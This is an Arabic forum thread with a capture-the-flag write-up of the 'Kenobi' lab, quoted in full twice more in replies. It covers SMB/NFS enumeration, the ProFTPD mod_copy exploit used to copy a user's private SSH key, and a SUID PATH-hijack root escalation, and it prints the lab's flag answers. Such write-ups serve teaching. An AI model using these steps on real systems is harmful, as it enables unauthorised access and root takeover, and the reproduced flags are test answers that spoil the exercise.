مضى على الشبكة و يوم من العطاء.

[ WalkTh ] شرح روم Kenobi

B

Block user

زائر

السمعة:

بسم الله الرحمن الرحيم

Kenobi

1.webp



السلام عليكم ورحمة الله وبركاته

هذي الروم مجانية


المصطلحات الرئيسية Key Terms

1. Enumeration:هي عملية البحث عن المعلومات حول الهدف مثل الخدمات و المنافذ باستخدام ادوات مثل nmap
2. Nmap:أداة قوية تستخدم لفحص الشبكات و المنافذ و الخدمات هنا شرح لل أخ 3b0-0d لل nmap
3. SSH Secure Shell:هو بروتوكول يسمح بالاتصال الأمن عن بعد في أجهزة Linux
4. NFS Network File System:نظام يسمح بمشاركة الملفات عبر الأنظمة المختلفة
سنغطي هنا
1. الفحص والاستكشاف (Enumeration)
2. استغلال NFS Network File System
3. استغلال SMB Samba
4. التصعيد إلى Root

اولا نبدا بفحص ال ip عن طريق nmap

كود:
nmap 127.0.0.1 -vv

نرى 7 بورتات

1741020835987.webp


س| افحص الجهاز عن طريق ال nmap كم منفذ مفتوح ؟
ج|
7


Enumerating Samba for shares
O8S93Kr.webp


ماهوا samba ؟
samba هو مجموعة من البرامج التي تتيح التوافق بين انظمة Windows وLinux/Unix
مما يسمح للمستخدمين بالوصول إلى الملفات و الطابعات و الموارد الأخرى المشتركة على الشبكة
يعتمد samba على بروتوكول smb Server Message Block, وهو بروتوكول تم تطويره أساسا لأنظمة Windows لمشاركة الملفات الخ عبر الشبكة
من دون هذا الحلو لن تتمكن أنظمة Linux/unix من التواصل مع Windows حتى لو كانت في نفس الشبكة


يمكننا أستخدام nmap لفحص المنافذ المفتوحة والخدمات المرتبطة ب smb
نستطيع ان نستخدم الأمر التالي لاكتشاف المجلدات المشتركة (shares)
كود:
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 127.0.0.1
SMB لديه منفذين 445 و 139
1741022808667.webp


س|أستخدم ال nmap بالامر الموضح اعلاه كم عدد ال shares وجدت ؟
ج|
3

في أغلب توزيعات لينكس smbclient تكون محملة, عن طريق الأمر ادناه يمكننا ان نتصل باستخدام SMB client
كود:
smbclient //127.0.0.1/anonymous

طبعا حنا راح نتصل ب user anonymous مياحتاج باسورد فقط اضغط Enter

1741023935639.webp


س|عند الأتصال اعرض الملفات ماهو الملف الذي يمكنك رؤيته ؟
ج|
log.txt

تحميل الملفات من SMB باستخدام smbget
عن طريق الأمر التالي
كود:
smbget -R smb://127.0.0.1/anonymous
او من داخل ال session
كود:
get اسم الملف

س|ما هو المنفذ الذي يعمل عليه FTP؟
ج|
21

في فحصنا السابق عن طريق nmap اظهر أن المنفذ 111 يقوم بتشغيل خدمة rpcbind هذي الخدمة تستخدم (RPC) بمعنى remote procedure call
RPC يسمح للنظام بالوصول الى خدمات الشبكة عن بعد, ويستخدم في أنظمة الملفات الشبكية (NFS) Network File System
يمكن استغلاله للحصول على نقاط التحميل (Mount Points) التي يمكن أن تكشف عن مجلدات مشتركة

فحص ال NFS عبر NMAP
نستخدم ال nmap معا سكربت لفحص خدمات NFS
كود:
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 127.0.0.1

1741045098606.webp

س| ما هو mount الذي يمكننا رؤيته؟
ج|
/var

Gain initial access with ProFtpd


L54MBzX.webp


ماهو ProFTPD
هو خادم FTP مفتوح المصدر متوافق مع أنظمة UNIX و Windows يتم استخدامة لنقل الملفات عبر FTP
ومع ذلك فقد عانت بعض الاصدارات السابقة من ثغرات أمنية خطيره
الان نبي نعرف اصدار ProFTPD يمكننا استخدام الجميل netcat لنتصل بخادم FTp والحصول على معلومات حول الاصدار عن طريق الأمر ادناه

كود:
nc 127.0.0.1 21
س| ماهو الاصدار ؟
ج|
1.3.5
يمكننا أستخدام searchsploit طبعا انت صديق ل searchsploit معا اي خدمة او برنامج و اصداره بتبحث عن استغلال جاهز له بيختصر عليك كثييييير

كود:
searchsploit proftpd 1.3.5

1741045945788.webp

س| كم عدد الاستغلالات الموجوده ل ProFTPd
ج|
4

أستغلال ثغرة mod_copy
هي وحدة Module داخل ProFTPD تسمح بنسخ الملفات و المجلدات داخل الخادم

كود:
SITE CPFR /المسار_القديم → تحديد الملف المراد نسخه
SITE CPTO /المسار_الجديد → تحديد المكان الجديد لحفظ الملف

يمكننا بهذي الأوامر لاستخراج ملفات مهمه بدون مصادقة
طبعا حنا عندنا علم بوجود /var
في حالتنا سنتستخدم هذي الأوامر ادناه
كود:
nc  127.0.0.1 21
داخل ال ftp سنستخد الأوامر ادناه
كود:
SITE CPFR /home/kenobi/.ssh/id_rsa
الى
كود:
SITE CPTO /var/tmp/id_rsa

كود:
mkdir /mnt/kenobiNFS → إنشاء مجلد محلي لتحميل البيانات المشتركة فيه
mount 127.0.0.1:/var /mnt/kenobiNFS → ربط المجلد من الخادم إلى النظام المحلي
ls -la /mnt/kenobiNFS → عرض الملفات داخل المجلد المشترك، حيث يجب أن نجد مفتاح SSH (id_rsa).

1741051110064.webp

ننسخ الملف ولاتنسى ال .

كود:
cp /mnt/kenobiNFS/tmp/id_rsa .
اذا ماضبط معاك استخدم sudo
نغير أذونات المفتاح ليكون قابلا للاستخدام
كود:
sudo chmod 600 /mnt/kenobiNFS/id_rsa
الان نستطيع تسجيل الدخول عن طريق SSH باستخدام المفتاح id_rsa
كود:
ssh -i /mnt/kenobiNFS/id_rsa [email protected]
اذا طلب منك باسورد استخدم sudo
س| (/home/kenobi/user.txt) ما هو علم المستخدم الخاص ب Kenobi
ج|
d0b0f3f53b6caa532a83915e19224899

Privilege Escalation with Path Variable Manipulation
LN2uOCJ.webp


ماهي ال SUID, SGID, و Sticky Bits
هذي مزايا خاصة في صلاحيات الملفات على نظام Linux وتؤثر على كيفية تنفيذ الملفات و المجلدات

جدول يوضح بين هذه الاوضاع الثلاث
الإذنعلى الملفاتعلى المجلدات
SUID (Set User ID)عند تشغيل الملف، يتم تنفيذه بصلاحيات مالك الملف وليس بصلاحيات المستخدم الذي قام بتشغيله❌ غير مستخدم
SGID (Set Group ID)يتم تشغيل الملف بصلاحيات المجموعة المالكة للملفأي ملف جديد داخل المجلد يرث نفس مجموعة المجلد بدلاً من مجموعة المستخدم
Sticky Bit❌ ليس له تأثير على الملفاتيمنع المستخدمين من حذف الملفات التي لا يملكونها داخل المجلد (غالبًا يُستخدم في tmp)

لماذا يمكن أن يكون suid خطيرا
بعض الملفات يجب أن تمتلك SUID لكي تعمل بشكل صحيح مثل passwd
ولكن اذا كان في ملف مخصص يحتوي على SUID ممكن يكون خطيرا
لأن ممكن أن يمنح المستخدم العادي صلاحيات root عند تشغيله
و يمكن أستغلاله للحصول على shell محترم
يمككنا البحث عن جميع الملفات التي تحتوي على suid في النظام باستخدام اداة LinEnum او باستخدام الامر ادناه
كود:
find / -perm -u=s -type f 2>/dev/null
كود:
find / → البحث في جميع النظام
perm -u=s → البحث عن الملفات التي تحتوي على بت SUID مفعّل
type f → البحث عن الملفات فقط وليس المجلدات
2>/dev/null → إخفاء الأخطاء الناتجة عن الملفات غير القابلة للوصول

س|ما هو الملف الذي يبدو غير عادي؟
ج|
/usr/bin/menu

نذهب الى usr/bin
ونشغل ال menu
كود:
./menu

س|كم عدد الخيارات التي تظهر عند تشغيل الملف؟
ج|
3

أستخراج النصوص باستخدام strings
هو أمر يستخرج النصوص القابلة للقراءة
كود:
strings /usr/bin/menu

طيب نشوف ان الملف هذا يعمل بامتيازات ال root نقدر نتلاعب بالمسار للحصول root shell
يمكننا القيام بذلك عن طريق نسخ bin/sh الى ملف جديد يسمى curl بعدها نعدل الاذونات للملف لجعلة قابلا للقراءة و الكتابة و التنفيذ من قبل اي مستخدم.. نقوم باضافة الملف الجديد curl الى متغير path للنظام بحيث يتم تشغيلة بدلا من curl الاصلي لما نستدعيه من قبل البرنامج الذي يعمل بصلاحيات ال root ..... أتمنى قدرت اشرح لك هذي الجزئية تمام

كود:
cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
1741054917566.webp


الان لما نشغل ملف ال menu سيستخدم متغير PATH الخاص فينا للبحث عن الملف curl الي سوياناه .... والي هو بالحقيقة نسخة من usr/sh مما يؤدي الى تشغيل هذا الملف بصلاحيات ال root
1741055218279.webp


س|
What is the root flag (/root/root.txt)?
ج|
177b3cd8562289f37382721c28381f02

أتمنى ان اكون وفقت في الشرح وبالتوفيق جميعا
 

المرفقات

  • 1741045072500.webp
    1741045072500.webp
    75.5 KB · المشاهدات: 64
  • 1741055175046.webp
    1741055175046.webp
    35.4 KB · المشاهدات: 64
التعديل الأخير بواسطة المشرف:

Kenobi

مشاهدة المرفق 16929


السلام عليكم ورحمة الله وبركاته

هذي الروم مجانية


المصطلحات الرئيسية Key Terms

1. Enumeration:هي عملية البحث عن المعلومات حول الهدف مثل الخدمات و المنافذ باستخدام ادوات مثل nmap
2. Nmap:أداة قوية تستخدم لفحص الشبكات و المنافذ و الخدمات هنا شرح لل أخ 3b0-0d لل nmap
3. SSH Secure Shell:هو بروتوكول يسمح بالاتصال الأمن عن بعد في أجهزة Linux
4. NFS Network File System:نظام يسمح بمشاركة الملفات عبر الأنظمة المختلفة
سنغطي هنا
1. الفحص والاستكشاف (Enumeration)
2. استغلال NFS Network File System
3. استغلال SMB Samba
4. التصعيد إلى Root

اولا نبدا بفحص ال ip عن طريق nmap

كود:
nmap 127.0.0.1 -vv

نرى 7 بورتات

مشاهدة المرفق 16925

س| افحص الجهاز عن طريق ال nmap كم منفذ مفتوح ؟
ج|
7


Enumerating Samba for shares
مشاهدة المرفق 16933

ماهوا samba ؟
samba هو مجموعة من البرامج التي تتيح التوافق بين انظمة Windows وLinux/Unix
مما يسمح للمستخدمين بالوصول إلى الملفات و الطابعات و الموارد الأخرى المشتركة على الشبكة
يعتمد samba على بروتوكول smb Server Message Block, وهو بروتوكول تم تطويره أساسا لأنظمة Windows لمشاركة الملفات الخ عبر الشبكة
من دون هذا الحلو لن تتمكن أنظمة Linux/unix من التواصل مع Windows حتى لو كانت في نفس الشبكة


يمكننا أستخدام nmap لفحص المنافذ المفتوحة والخدمات المرتبطة ب smb
نستطيع ان نستخدم الأمر التالي لاكتشاف المجلدات المشتركة (shares)
كود:
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 127.0.0.1
SMB لديه منفذين 445 و 139
مشاهدة المرفق 16926

س|أستخدم ال nmap بالامر الموضح اعلاه كم عدد ال shares وجدت ؟
ج|
3

في أغلب توزيعات لينكس smbclient تكون محملة, عن طريق الأمر ادناه يمكننا ان نتصل باستخدام SMB client
كود:
smbclient //127.0.0.1/anonymous

طبعا حنا راح نتصل ب user anonymous مياحتاج باسورد فقط اضغط Enter

مشاهدة المرفق 16927

س|عند الأتصال اعرض الملفات ماهو الملف الذي يمكنك رؤيته ؟
ج|
log.txt

تحميل الملفات من SMB باستخدام smbget
عن طريق الأمر التالي
كود:
smbget -R smb://127.0.0.1/anonymous
او من داخل ال session
كود:
get اسم الملف

س|ما هو المنفذ الذي يعمل عليه FTP؟
ج|
21

في فحصنا السابق عن طريق nmap اظهر أن المنفذ 111 يقوم بتشغيل خدمة rpcbind هذي الخدمة تستخدم (RPC) بمعنى remote procedure call
RPC يسمح للنظام بالوصول الى خدمات الشبكة عن بعد, ويستخدم في أنظمة الملفات الشبكية (NFS) Network File System
يمكن استغلاله للحصول على نقاط التحميل (Mount Points) التي يمكن أن تكشف عن مجلدات مشتركة

فحص ال NFS عبر NMAP
نستخدم ال nmap معا سكربت لفحص خدمات NFS
كود:
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 127.0.0.1

مشاهدة المرفق 16932
س| ما هو mount الذي يمكننا رؤيته؟
ج|
/var

Gain initial access with ProFtpd


مشاهدة المرفق 16934

ماهو ProFTPD
هو خادم FTP مفتوح المصدر متوافق مع أنظمة UNIX و Windows يتم استخدامة لنقل الملفات عبر FTP
ومع ذلك فقد عانت بعض الاصدارات السابقة من ثغرات أمنية خطيره
الان نبي نعرف اصدار ProFTPD يمكننا استخدام الجميل netcat لنتصل بخادم FTp والحصول على معلومات حول الاصدار عن طريق الأمر ادناه

كود:
nc 127.0.0.1 21
س| ماهو الاصدار ؟
ج|
1.3.5
يمكننا أستخدام searchsploit طبعا انت صديق ل searchsploit معا اي خدمة او برنامج و اصداره بتبحث عن استغلال جاهز له بيختصر عليك كثييييير

كود:
searchsploit proftpd 1.3.5

مشاهدة المرفق 16935
س| كم عدد الاستغلالات الموجوده ل ProFTPd
ج|
4

أستغلال ثغرة mod_copy
هي وحدة Module داخل ProFTPD تسمح بنسخ الملفات و المجلدات داخل الخادم

كود:
SITE CPFR /المسار_القديم → تحديد الملف المراد نسخه
SITE CPTO /المسار_الجديد → تحديد المكان الجديد لحفظ الملف

يمكننا بهذي الأوامر لاستخراج ملفات مهمه بدون مصادقة
طبعا حنا عندنا علم بوجود /var
في حالتنا سنتستخدم هذي الأوامر ادناه
كود:
nc  127.0.0.1 21
داخل ال ftp سنستخد الأوامر ادناه
كود:
SITE CPFR /home/kenobi/.ssh/id_rsa
الى
كود:
SITE CPTO /var/tmp/id_rsa

كود:
mkdir /mnt/kenobiNFS → إنشاء مجلد محلي لتحميل البيانات المشتركة فيه
mount 127.0.0.1:/var /mnt/kenobiNFS → ربط المجلد من الخادم إلى النظام المحلي
ls -la /mnt/kenobiNFS → عرض الملفات داخل المجلد المشترك، حيث يجب أن نجد مفتاح SSH (id_rsa).

مشاهدة المرفق 16936
ننسخ الملف ولاتنسى ال .

كود:
cp /mnt/kenobiNFS/tmp/id_rsa .
اذا ماضبط معاك استخدم sudo
نغير أذونات المفتاح ليكون قابلا للاستخدام
كود:
sudo chmod 600 /mnt/kenobiNFS/id_rsa
الان نستطيع تسجيل الدخول عن طريق SSH باستخدام المفتاح id_rsa
كود:
ssh -i /mnt/kenobiNFS/id_rsa [email protected]
اذا طلب منك باسورد استخدم sudo
س| (/home/kenobi/user.txt) ما هو علم المستخدم الخاص ب Kenobi
ج|
d0b0f3f53b6caa532a83915e19224899

Privilege Escalation with Path Variable Manipulation
مشاهدة المرفق 16937

ماهي ال SUID, SGID, و Sticky Bits
هذي مزايا خاصة في صلاحيات الملفات على نظام Linux وتؤثر على كيفية تنفيذ الملفات و المجلدات

جدول يوضح بين هذه الاوضاع الثلاث
الإذنعلى الملفاتعلى المجلدات
SUID (Set User ID)عند تشغيل الملف، يتم تنفيذه بصلاحيات مالك الملف وليس بصلاحيات المستخدم الذي قام بتشغيله❌ غير مستخدم
SGID (Set Group ID)يتم تشغيل الملف بصلاحيات المجموعة المالكة للملفأي ملف جديد داخل المجلد يرث نفس مجموعة المجلد بدلاً من مجموعة المستخدم
Sticky Bit❌ ليس له تأثير على الملفاتيمنع المستخدمين من حذف الملفات التي لا يملكونها داخل المجلد (غالبًا يُستخدم في tmp)

لماذا يمكن أن يكون suid خطيرا
بعض الملفات يجب أن تمتلك SUID لكي تعمل بشكل صحيح مثل passwd
ولكن اذا كان في ملف مخصص يحتوي على SUID ممكن يكون خطيرا
لأن ممكن أن يمنح المستخدم العادي صلاحيات root عند تشغيله
و يمكن أستغلاله للحصول على shell محترم
يمككنا البحث عن جميع الملفات التي تحتوي على suid في النظام باستخدام اداة LinEnum او باستخدام الامر ادناه
كود:
find / -perm -u=s -type f 2>/dev/null
كود:
find / → البحث في جميع النظام
perm -u=s → البحث عن الملفات التي تحتوي على بت SUID مفعّل
type f → البحث عن الملفات فقط وليس المجلدات
2>/dev/null → إخفاء الأخطاء الناتجة عن الملفات غير القابلة للوصول

س|ما هو الملف الذي يبدو غير عادي؟
ج|
/usr/bin/menu

نذهب الى usr/bin
ونشغل ال menu
كود:
./menu

س|كم عدد الخيارات التي تظهر عند تشغيل الملف؟
ج|
3

أستخراج النصوص باستخدام strings
هو أمر يستخرج النصوص القابلة للقراءة
كود:
strings /usr/bin/menu

طيب نشوف ان الملف هذا يعمل بامتيازات ال root نقدر نتلاعب بالمسار للحصول root shell
يمكننا القيام بذلك عن طريق نسخ bin/sh الى ملف جديد يسمى curl بعدها نعدل الاذونات للملف لجعلة قابلا للقراءة و الكتابة و التنفيذ من قبل اي مستخدم.. نقوم باضافة الملف الجديد curl الى متغير path للنظام بحيث يتم تشغيلة بدلا من curl الاصلي لما نستدعيه من قبل البرنامج الذي يعمل بصلاحيات ال root ..... أتمنى قدرت اشرح لك هذي الجزئية تمام

كود:
cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
مشاهدة المرفق 16938

الان لما نشغل ملف ال menu سيستخدم متغير PATH الخاص فينا للبحث عن الملف curl الي سوياناه .... والي هو بالحقيقة نسخة من usr/sh مما يؤدي الى تشغيل هذا الملف بصلاحيات ال root
مشاهدة المرفق 16940

س|
What is the root flag (/root/root.txt)?
ج|
177b3cd8562289f37382721c28381f02

أتمنى ان اكون وفقت في الشرح وبالتوفيق جميعا
الله يعطيك العافيه يارب, رهيب رهيب الشرح 🔥
 
ماشاء الله تبارك الله، عاش يا بطل، تسلم إيدك والله
بارك الله في علمك وعملك
 

بسم الله الرحمن الرحيم

Kenobi

مشاهدة المرفق 16929


السلام عليكم ورحمة الله وبركاته

هذي الروم مجانية


المصطلحات الرئيسية Key Terms

1. Enumeration:هي عملية البحث عن المعلومات حول الهدف مثل الخدمات و المنافذ باستخدام ادوات مثل nmap
2. Nmap:أداة قوية تستخدم لفحص الشبكات و المنافذ و الخدمات هنا شرح لل أخ 3b0-0d لل nmap
3. SSH Secure Shell:هو بروتوكول يسمح بالاتصال الأمن عن بعد في أجهزة Linux
4. NFS Network File System:نظام يسمح بمشاركة الملفات عبر الأنظمة المختلفة
سنغطي هنا
1. الفحص والاستكشاف (Enumeration)
2. استغلال NFS Network File System
3. استغلال SMB Samba
4. التصعيد إلى Root

اولا نبدا بفحص ال ip عن طريق nmap

كود:
nmap 127.0.0.1 -vv

نرى 7 بورتات

مشاهدة المرفق 16925

س| افحص الجهاز عن طريق ال nmap كم منفذ مفتوح ؟
ج|
7


Enumerating Samba for shares
مشاهدة المرفق 16933

ماهوا samba ؟
samba هو مجموعة من البرامج التي تتيح التوافق بين انظمة Windows وLinux/Unix
مما يسمح للمستخدمين بالوصول إلى الملفات و الطابعات و الموارد الأخرى المشتركة على الشبكة
يعتمد samba على بروتوكول smb Server Message Block, وهو بروتوكول تم تطويره أساسا لأنظمة Windows لمشاركة الملفات الخ عبر الشبكة
من دون هذا الحلو لن تتمكن أنظمة Linux/unix من التواصل مع Windows حتى لو كانت في نفس الشبكة


يمكننا أستخدام nmap لفحص المنافذ المفتوحة والخدمات المرتبطة ب smb
نستطيع ان نستخدم الأمر التالي لاكتشاف المجلدات المشتركة (shares)
كود:
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 127.0.0.1
SMB لديه منفذين 445 و 139
مشاهدة المرفق 16926

س|أستخدم ال nmap بالامر الموضح اعلاه كم عدد ال shares وجدت ؟
ج|
3

في أغلب توزيعات لينكس smbclient تكون محملة, عن طريق الأمر ادناه يمكننا ان نتصل باستخدام SMB client
كود:
smbclient //127.0.0.1/anonymous

طبعا حنا راح نتصل ب user anonymous مياحتاج باسورد فقط اضغط Enter

مشاهدة المرفق 16927

س|عند الأتصال اعرض الملفات ماهو الملف الذي يمكنك رؤيته ؟
ج|
log.txt

تحميل الملفات من SMB باستخدام smbget
عن طريق الأمر التالي
كود:
smbget -R smb://127.0.0.1/anonymous
او من داخل ال session
كود:
get اسم الملف

س|ما هو المنفذ الذي يعمل عليه FTP؟
ج|
21

في فحصنا السابق عن طريق nmap اظهر أن المنفذ 111 يقوم بتشغيل خدمة rpcbind هذي الخدمة تستخدم (RPC) بمعنى remote procedure call
RPC يسمح للنظام بالوصول الى خدمات الشبكة عن بعد, ويستخدم في أنظمة الملفات الشبكية (NFS) Network File System
يمكن استغلاله للحصول على نقاط التحميل (Mount Points) التي يمكن أن تكشف عن مجلدات مشتركة

فحص ال NFS عبر NMAP
نستخدم ال nmap معا سكربت لفحص خدمات NFS
كود:
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 127.0.0.1

مشاهدة المرفق 16932
س| ما هو mount الذي يمكننا رؤيته؟
ج|
/var

Gain initial access with ProFtpd


مشاهدة المرفق 16934

ماهو ProFTPD
هو خادم FTP مفتوح المصدر متوافق مع أنظمة UNIX و Windows يتم استخدامة لنقل الملفات عبر FTP
ومع ذلك فقد عانت بعض الاصدارات السابقة من ثغرات أمنية خطيره
الان نبي نعرف اصدار ProFTPD يمكننا استخدام الجميل netcat لنتصل بخادم FTp والحصول على معلومات حول الاصدار عن طريق الأمر ادناه

كود:
nc 127.0.0.1 21
س| ماهو الاصدار ؟
ج|
1.3.5
يمكننا أستخدام searchsploit طبعا انت صديق ل searchsploit معا اي خدمة او برنامج و اصداره بتبحث عن استغلال جاهز له بيختصر عليك كثييييير

كود:
searchsploit proftpd 1.3.5

مشاهدة المرفق 16935
س| كم عدد الاستغلالات الموجوده ل ProFTPd
ج|
4

أستغلال ثغرة mod_copy
هي وحدة Module داخل ProFTPD تسمح بنسخ الملفات و المجلدات داخل الخادم

كود:
SITE CPFR /المسار_القديم → تحديد الملف المراد نسخه
SITE CPTO /المسار_الجديد → تحديد المكان الجديد لحفظ الملف

يمكننا بهذي الأوامر لاستخراج ملفات مهمه بدون مصادقة
طبعا حنا عندنا علم بوجود /var
في حالتنا سنتستخدم هذي الأوامر ادناه
كود:
nc  127.0.0.1 21
داخل ال ftp سنستخد الأوامر ادناه
كود:
SITE CPFR /home/kenobi/.ssh/id_rsa
الى
كود:
SITE CPTO /var/tmp/id_rsa

كود:
mkdir /mnt/kenobiNFS → إنشاء مجلد محلي لتحميل البيانات المشتركة فيه
mount 127.0.0.1:/var /mnt/kenobiNFS → ربط المجلد من الخادم إلى النظام المحلي
ls -la /mnt/kenobiNFS → عرض الملفات داخل المجلد المشترك، حيث يجب أن نجد مفتاح SSH (id_rsa).

مشاهدة المرفق 16936
ننسخ الملف ولاتنسى ال .

كود:
cp /mnt/kenobiNFS/tmp/id_rsa .
اذا ماضبط معاك استخدم sudo
نغير أذونات المفتاح ليكون قابلا للاستخدام
كود:
sudo chmod 600 /mnt/kenobiNFS/id_rsa
الان نستطيع تسجيل الدخول عن طريق SSH باستخدام المفتاح id_rsa
كود:
ssh -i /mnt/kenobiNFS/id_rsa [email protected]
اذا طلب منك باسورد استخدم sudo
س| (/home/kenobi/user.txt) ما هو علم المستخدم الخاص ب Kenobi
ج|
d0b0f3f53b6caa532a83915e19224899

Privilege Escalation with Path Variable Manipulation
مشاهدة المرفق 16937

ماهي ال SUID, SGID, و Sticky Bits
هذي مزايا خاصة في صلاحيات الملفات على نظام Linux وتؤثر على كيفية تنفيذ الملفات و المجلدات

جدول يوضح بين هذه الاوضاع الثلاث
الإذنعلى الملفاتعلى المجلدات
SUID (Set User ID)عند تشغيل الملف، يتم تنفيذه بصلاحيات مالك الملف وليس بصلاحيات المستخدم الذي قام بتشغيله❌ غير مستخدم
SGID (Set Group ID)يتم تشغيل الملف بصلاحيات المجموعة المالكة للملفأي ملف جديد داخل المجلد يرث نفس مجموعة المجلد بدلاً من مجموعة المستخدم
Sticky Bit❌ ليس له تأثير على الملفاتيمنع المستخدمين من حذف الملفات التي لا يملكونها داخل المجلد (غالبًا يُستخدم في tmp)

لماذا يمكن أن يكون suid خطيرا
بعض الملفات يجب أن تمتلك SUID لكي تعمل بشكل صحيح مثل passwd
ولكن اذا كان في ملف مخصص يحتوي على SUID ممكن يكون خطيرا
لأن ممكن أن يمنح المستخدم العادي صلاحيات root عند تشغيله
و يمكن أستغلاله للحصول على shell محترم
يمككنا البحث عن جميع الملفات التي تحتوي على suid في النظام باستخدام اداة LinEnum او باستخدام الامر ادناه
كود:
find / -perm -u=s -type f 2>/dev/null
كود:
find / → البحث في جميع النظام
perm -u=s → البحث عن الملفات التي تحتوي على بت SUID مفعّل
type f → البحث عن الملفات فقط وليس المجلدات
2>/dev/null → إخفاء الأخطاء الناتجة عن الملفات غير القابلة للوصول

س|ما هو الملف الذي يبدو غير عادي؟
ج|
/usr/bin/menu

نذهب الى usr/bin
ونشغل ال menu
كود:
./menu

س|كم عدد الخيارات التي تظهر عند تشغيل الملف؟
ج|
3

أستخراج النصوص باستخدام strings
هو أمر يستخرج النصوص القابلة للقراءة
كود:
strings /usr/bin/menu

طيب نشوف ان الملف هذا يعمل بامتيازات ال root نقدر نتلاعب بالمسار للحصول root shell
يمكننا القيام بذلك عن طريق نسخ bin/sh الى ملف جديد يسمى curl بعدها نعدل الاذونات للملف لجعلة قابلا للقراءة و الكتابة و التنفيذ من قبل اي مستخدم.. نقوم باضافة الملف الجديد curl الى متغير path للنظام بحيث يتم تشغيلة بدلا من curl الاصلي لما نستدعيه من قبل البرنامج الذي يعمل بصلاحيات ال root ..... أتمنى قدرت اشرح لك هذي الجزئية تمام

كود:
cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
مشاهدة المرفق 16938

الان لما نشغل ملف ال menu سيستخدم متغير PATH الخاص فينا للبحث عن الملف curl الي سوياناه .... والي هو بالحقيقة نسخة من usr/sh مما يؤدي الى تشغيل هذا الملف بصلاحيات ال root
مشاهدة المرفق 16940

س|
What is the root flag (/root/root.txt)?
ج|
177b3cd8562289f37382721c28381f02

أتمنى ان اكون وفقت في الشرح وبالتوفيق جميعا
الله يعطيك ألف عافية أخوي
 

آخر المشاركات

عودة
أعلى